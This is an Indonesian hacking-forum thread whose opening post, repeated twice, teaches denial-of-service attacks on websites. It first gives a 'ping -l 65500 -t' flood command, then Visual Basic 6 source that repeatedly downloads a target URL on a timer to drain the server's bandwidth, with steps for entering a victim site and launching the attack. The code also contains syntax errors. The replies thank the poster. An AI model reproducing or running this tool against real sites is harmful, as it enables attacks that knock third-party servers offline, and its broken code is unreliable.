DDOS Tool Dengan Visual Basic+Cara bikin+Pengertian
5 posters
Halaman 1 dari 1
DDOS Tool Dengan Visual Basic+Cara bikin+Pengertian
Teknik DOS disini maksudnya yaitu untuk melumpuhkan suatu server/website dengan cara menghabiskan bandwitdh dari website tersebut. Ada beberapa cara untuk DDOS, misalnya paling gampang dengan menggunakan perintah "ping", misalnya seperti : "ping -l 65500 - t www.target.com".
Dari perintah "ping" tersebut kita mengirim paket sebesar 65500 bytes ke server dan nilai ersebut merupakan nilai maksimum yang dapat kita kirim. Meskipun perintah tersebut menggunakan paramameter "-t" yang berarti perintah "ping" akan dilakukan terus menerus ke "www.target.com", tetapi sepertinya butuh ratusan/ribuan komputer yang diperlukan untuk
menjalani perintah "ping" ini seharian sehingga bandwidth dari si server habis.
Oleh karena hanya "65500", maka saya mikir bagaimana ya cara cepat menyedot bandwitdh dari si server. Berhubung perintah "ping" ga bisa, saya coba liat2 VB6, yup ada perintah :
"Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long".
Setelah mencoba2, perintah tersebut dapat mendownload satu halaman/file dan mengsave file tsb ke harddisk. Wah klo file yang berukuran gede didownload make looping kayaknya bakalan
nyedot bandwidth si server banyak tuh . Dengan konsep tersebut, yuk mari yuk mulai coding make VB6.. pake apa aja bisa kok soalnya kodenya sederhana
Yang diperlukan :
- l textBox => Text1
- 2 button, => Command1 dan Command2
- 1 timer => Timer1
- tambah sendiri yang lain
Kode-kode (taruh di form):
'----------START----------START----------
'fungsi buat mendownload file
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
'fungsi untuk mendapatkan folder temporary
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
'Saat program dijalankan make sure nothing happen
Private Sub Form_Load()
Timer1.Enabled = False
End Sub
'fungsi untuk menggenerate tulisan menjadi acak
Public Function Random(ByVal Low As Long, ByVal High As Long) As Long Randomize
Random = Int((High - Low + 1) * Rnd) + Low
End Function
'fungsi untuk mendapatkan folder temporary
Public Function GetTempDir() As String
Dim buff As String
buff = String(255, Chr$(0))
GetTempPath Len(buff), buff
GetTempDir = Left(buff, InStr(1, buff, Chr(0), vbTextCompare) - 1)
End Function
'inti dari program untuk melakukan DDOS
Private Sub Timer1_Timer()
Dim fileName As String
Dim DDOS
'membuat nama acak sebagai nama file yang akan disave
fileName = GetTempDir & Random(0, 999999999)
'mulai mendownload file yang terdapat pada Text1 dan mengsavenya
DDOS = URLDownloadToFile(0, Text1.text, fileName 0, 0)
'tombol untuk memulai DDOS
Private Sub Command1_Click()
Timer1.Enabled = True 'hidupkan timer buat looping
Timer1.Interval = 1000 'set setiap 1 detik program mendownload file dari server
Command2.Enabled = True
Command1.Enabled = False
End Sub
'stop semua actions
Private Sub Command2_Click()
Timer1.Enabled = False
Command1.Enabled = True
Command2.Enabled = False
End Sub
'----------END----------END----------
Setelah semua komponen2 dan kode sudah ada maka jalankan / F5, kemudian isi textbox dengan website yang akan diDDOS, misalnya "http://target.com/download/setup.exe" atau "http://target.com/index.php" , ingat tanpa tanda kutip dan TIDAK pake "www". Jadi klo kita isi "www.target.com/index.php" <== SALAH!. Setelah itu pencet command1 untuk memulai serangan.
Saat command1 dipencet, maka program otomatis mendownload file di website sesuai yang kita isi di textbox dan mengsavenya di folder temporay dengan nama acak. Kenapa pake nama acak? karena untuk mengantisipasi jika suatu file blum beres didownload maka ga akan ngeganggu proses lain yang sedang berlangsung.
Ok kayaknya udah pada paham tentang source code di atas. Ya tentunya bisa nambahin sendiri seperti pengecekan ada tidaknya koneksi internet, size yang udah didonlot atau animasi loading pada program biar lebih ok lagi programnya.Right, jangan digunaiin sembarangan.. Setiap perbuatan ada balasannya dan ingat gunakan di komputer yang bandwidthnya unlimited.
Dari perintah "ping" tersebut kita mengirim paket sebesar 65500 bytes ke server dan nilai ersebut merupakan nilai maksimum yang dapat kita kirim. Meskipun perintah tersebut menggunakan paramameter "-t" yang berarti perintah "ping" akan dilakukan terus menerus ke "www.target.com", tetapi sepertinya butuh ratusan/ribuan komputer yang diperlukan untuk
menjalani perintah "ping" ini seharian sehingga bandwidth dari si server habis.
Oleh karena hanya "65500", maka saya mikir bagaimana ya cara cepat menyedot bandwitdh dari si server. Berhubung perintah "ping" ga bisa, saya coba liat2 VB6, yup ada perintah :
"Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long".
Setelah mencoba2, perintah tersebut dapat mendownload satu halaman/file dan mengsave file tsb ke harddisk. Wah klo file yang berukuran gede didownload make looping kayaknya bakalan
nyedot bandwidth si server banyak tuh . Dengan konsep tersebut, yuk mari yuk mulai coding make VB6.. pake apa aja bisa kok soalnya kodenya sederhana
Yang diperlukan :
- l textBox => Text1
- 2 button, => Command1 dan Command2
- 1 timer => Timer1
- tambah sendiri yang lain
Kode-kode (taruh di form):
'----------START----------START----------
'fungsi buat mendownload file
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
'fungsi untuk mendapatkan folder temporary
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
'Saat program dijalankan make sure nothing happen
Private Sub Form_Load()
Timer1.Enabled = False
End Sub
'fungsi untuk menggenerate tulisan menjadi acak
Public Function Random(ByVal Low As Long, ByVal High As Long) As Long Randomize
Random = Int((High - Low + 1) * Rnd) + Low
End Function
'fungsi untuk mendapatkan folder temporary
Public Function GetTempDir() As String
Dim buff As String
buff = String(255, Chr$(0))
GetTempPath Len(buff), buff
GetTempDir = Left(buff, InStr(1, buff, Chr(0), vbTextCompare) - 1)
End Function
'inti dari program untuk melakukan DDOS
Private Sub Timer1_Timer()
Dim fileName As String
Dim DDOS
'membuat nama acak sebagai nama file yang akan disave
fileName = GetTempDir & Random(0, 999999999)
'mulai mendownload file yang terdapat pada Text1 dan mengsavenya
DDOS = URLDownloadToFile(0, Text1.text, fileName 0, 0)
'tombol untuk memulai DDOS
Private Sub Command1_Click()
Timer1.Enabled = True 'hidupkan timer buat looping
Timer1.Interval = 1000 'set setiap 1 detik program mendownload file dari server
Command2.Enabled = True
Command1.Enabled = False
End Sub
'stop semua actions
Private Sub Command2_Click()
Timer1.Enabled = False
Command1.Enabled = True
Command2.Enabled = False
End Sub
'----------END----------END----------
Setelah semua komponen2 dan kode sudah ada maka jalankan / F5, kemudian isi textbox dengan website yang akan diDDOS, misalnya "http://target.com/download/setup.exe" atau "http://target.com/index.php" , ingat tanpa tanda kutip dan TIDAK pake "www". Jadi klo kita isi "www.target.com/index.php" <== SALAH!. Setelah itu pencet command1 untuk memulai serangan.
Saat command1 dipencet, maka program otomatis mendownload file di website sesuai yang kita isi di textbox dan mengsavenya di folder temporay dengan nama acak. Kenapa pake nama acak? karena untuk mengantisipasi jika suatu file blum beres didownload maka ga akan ngeganggu proses lain yang sedang berlangsung.
Ok kayaknya udah pada paham tentang source code di atas. Ya tentunya bisa nambahin sendiri seperti pengecekan ada tidaknya koneksi internet, size yang udah didonlot atau animasi loading pada program biar lebih ok lagi programnya.Right, jangan digunaiin sembarangan.. Setiap perbuatan ada balasannya dan ingat gunakan di komputer yang bandwidthnya unlimited.
Re: DDOS Tool Dengan Visual Basic+Cara bikin+Pengertian
Sipp Thanks Om Refky
Raihan199- Jumlah posting : 5
Join date : 23.01.13
Re: DDOS Tool Dengan Visual Basic+Cara bikin+Pengertian
Sama2 Om
Rajin2 Post ya om ^_^
klo rajin ane jadiin momod deh
Rajin2 Post ya om ^_^
klo rajin ane jadiin momod deh
Re: DDOS Tool Dengan Visual Basic+Cara bikin+Pengertian
nice info gan
Walaupun ane dh tau, tp mayan bwat yg blm tau
Walaupun ane dh tau, tp mayan bwat yg blm tau
Re: DDOS Tool Dengan Visual Basic+Cara bikin+Pengertian
GondilaX wrote:nice info gan
Walaupun ane dh tau, tp mayan bwat yg blm tau
Betul gan (y)
Re: DDOS Tool Dengan Visual Basic+Cara bikin+Pengertian
ini yg di cari dari td,..
akhir dapat juga di sini,..
nice share bang,..
salam kenal dari pendatang baru,.
akhir dapat juga di sini,..
nice share bang,..
salam kenal dari pendatang baru,.
empong_jr- Jumlah posting : 1
Join date : 13.04.13
Lokasi : Pinggir Pantai Bengkulu
Re: DDOS Tool Dengan Visual Basic+Cara bikin+Pengertian
kerenRaihan199 wrote:Sipp :DThanks Om Refky
desloni- Jumlah posting : 1
Join date : 10.11.13
Similar topics
» Kalkulator Dengan Visual Basic 6.0
» Cara dDos Web Dengan CMD or Comand Prompt
» Cara membuat tools dDos seerhana dan NgeDdos Web dengan Notepad
» Cara deface Website dengan kindeditor
» DDOS, Attack IP, Hide IP
» Cara dDos Web Dengan CMD or Comand Prompt
» Cara membuat tools dDos seerhana dan NgeDdos Web dengan Notepad
» Cara deface Website dengan kindeditor
» DDOS, Attack IP, Hide IP
Halaman 1 dari 1
Permissions in this forum:
Anda tidak dapat menjawab topik
|
|
Tue Jun 17, 2014 6:38 pm by ./habil_404
» CPANEL X Free dengan Durasi 1 TAHUN
Tue Jun 17, 2014 5:28 pm by ./habil_404
» Cara Manipulasi Billing Explorer
Tue Jun 17, 2014 5:19 pm by ./habil_404
» Jailbreaking + Hacking iPod Touch
Thu Jun 05, 2014 8:07 am by ./habil_404
» Web Hacking dengan DVWA
Thu Jun 05, 2014 7:58 am by ./habil_404
» Windows Hack [VB+]
Wed Jun 04, 2014 10:11 pm by ./habil_404
» Cara Mempercepat Loading pada Mozilla Firefox
Wed Jun 04, 2014 9:49 pm by ./habil_404
» Hack Modem 64Kpbs - 512Kbps
Wed Jun 04, 2014 9:37 pm by ./habil_404
» Agen Bola, Bandar Bola Online, Situs Taruhan Bola, 7meter
Sun Apr 20, 2014 3:10 pm by batikseo